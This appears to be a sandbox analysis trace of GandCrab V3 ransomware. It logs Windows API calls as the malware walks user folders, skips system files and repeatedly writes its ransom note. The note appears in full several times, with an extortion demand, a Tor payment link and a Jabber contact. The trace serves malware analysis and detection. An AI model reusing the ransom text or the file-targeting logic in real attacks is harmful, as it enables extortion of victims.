	[0111.833] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.835] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.835] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0111.835] CloseHandle (hObject=0x3f4) returned 1
	[0111.836] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned 68
	[0111.836] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*"
	[0111.836] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda6f30
	[0111.836] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.836] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.836] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.836] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.837] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.837] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.837] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.837] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\CRAB-DECRYPT.txt"
	[0111.837] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.837] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\CRAB-DECRYPT.txt") returned 84
	[0111.837] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\CRAB-DECRYPT.txt") returned 84
	[0111.837] lstrlenW (lpString=".txt") returned 4
	[0111.837] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.837] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.837] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.838] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\CRAB-DECRYPT.txt") returned 84
	[0111.838] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\CRAB-DECRYPT.txt") returned 84
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.838] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.838] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.838] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.838] lstrcmpW (lpString1="Pbk", lpString2=".") returned 1
	[0111.838] lstrcmpW (lpString1="Pbk", lpString2="..") returned 1
	[0111.838] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk"
	[0111.838] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\"
	[0111.838] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.838] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.839] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.839] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.839] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.839] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.839] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.839] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.839] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\\\CRAB-DECRYPT.txt") returned 89
	[0111.839] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.841] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.841] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0111.841] CloseHandle (hObject=0x3f8) returned 1
	[0111.842] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.842] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned 72
	[0111.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*"
	[0111.842] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda7070
	[0111.842] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.842] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.842] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.842] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.842] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.842] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.842] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\CRAB-DECRYPT.txt"
	[0111.842] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.843] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\CRAB-DECRYPT.txt") returned 88
	[0111.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\CRAB-DECRYPT.txt") returned 88
	[0111.843] lstrlenW (lpString=".txt") returned 4
	[0111.843] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.843] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.843] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\CRAB-DECRYPT.txt") returned 88
	[0111.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\CRAB-DECRYPT.txt") returned 88
	[0111.843] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.843] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.843] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.843] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.844] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.844] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.844] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.844] lstrcmpW (lpString1="_hiddenPbk", lpString2=".") returned 1
	[0111.844] lstrcmpW (lpString1="_hiddenPbk", lpString2="..") returned 1
	[0111.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk"
	[0111.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\"
	[0111.844] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.844] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.844] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.844] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.844] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.844] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.845] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.845] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.845] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.845] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.845] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.845] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\\\CRAB-DECRYPT.txt") returned 100
	[0111.845] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0111.849] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.849] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0111.850] CloseHandle (hObject=0x3e0) returned 1
	[0111.851] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned 83
	[0111.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*"
	[0111.851] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0xda74b0
	[0111.851] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.851] FindNextFileW (in: hFindFile=0xda74b0, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.851] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.851] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.851] FindNextFileW (in: hFindFile=0xda74b0, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.851] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.851] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\CRAB-DECRYPT.txt"
	[0111.851] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.852] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\CRAB-DECRYPT.txt") returned 99
	[0111.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\CRAB-DECRYPT.txt") returned 99
	[0111.852] lstrlenW (lpString=".txt") returned 4
	[0111.852] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.852] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.852] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\CRAB-DECRYPT.txt") returned 99
	[0111.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\CRAB-DECRYPT.txt") returned 99
	[0111.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.852] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.853] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.853] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.853] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.853] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.853] FindNextFileW (in: hFindFile=0xda74b0, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0111.853] lstrcmpW (lpString1="rasphone.pbk", lpString2=".") returned 1
	[0111.853] lstrcmpW (lpString1="rasphone.pbk", lpString2="..") returned 1
	[0111.853] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="rasphone.pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk"
	[0111.853] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.853] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 95
	[0111.853] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 95
	[0111.853] lstrlenW (lpString=".pbk") returned 4
	[0111.853] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.853] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pbk ") returned 5
	[0111.854] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.854] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
